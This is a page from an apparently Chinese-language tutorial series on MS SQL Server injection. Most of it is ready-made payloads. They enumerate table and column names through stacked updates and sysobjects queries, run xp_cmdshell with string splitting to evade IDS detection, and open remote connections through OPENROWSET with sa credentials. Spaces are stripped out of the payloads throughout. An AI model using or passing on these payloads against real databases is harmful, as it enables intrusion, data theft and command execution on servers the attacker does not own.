WEB开发网
开发学院数据库MySQL 非常经典的Ms Sql注射资料 阅读

非常经典的Ms Sql注射资料

 2008-10-04 11:10:32 来源:WEB开发网   
核心提示: 然后id=1552andexists(select*fromaaawhereaaa>5)读出第二个表,^^^^^^一个个的读出,非常经典的Ms Sql注射资料(8),直到没有为止,读字段是这样:id=1552;updateaaasetaaa=(selecttop1col_name(o

然后id=1552andexists(select*fromaaawhereaaa>5)

读出第二个表,^^^^^^一个个的读出,直到没有为止。

读字段是这样:

id=1552;updateaaasetaaa=(selecttop1col_name(object_id('表名'),1));--

然后id=1552andexists(select*fromaaawhereaaa>5)出错,得到字段名

id=1552;updateaaasetaaa=(selecttop1col_name(object_id('表名'),2));--

然后id=1552andexists(select*fromaaawhereaaa>5)出错,得到字段名

--------------------------------高级技巧:

[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]

update表名set字段=(selecttop1namefromsysobjectswherextype=uandstatus>0[andname<>'你得到的表名'查出一个加一个])[where条件]

selecttop1namefromsysobjectswherextype=uandstatus>0andnamenotin('table1','table2',…)

通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]

[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]

update表名set字段=(selecttop1col_name(object_id('要查询的数据表名'),字段列如:1)[where条件]

绕过IDS的检测[使用变量]

declare@asysnameset@a='xp_'+'cmdshell'exec@a'dirc:'

declare@asysnameset@a='xp'+'_cm'+'dshell'exec@a'dirc:'

1、开启远程数据库

基本语法

select*fromOPENROWSET('SQLOLEDB','server=servername;uid=sa;pwd=apachy_123','select*fromtable1')

上一页  3 4 5 6 7 8 9 10  下一页

Tags:非常 经典 Ms

编辑录入:爽爽 [复制链接] [打 印]
赞助商链接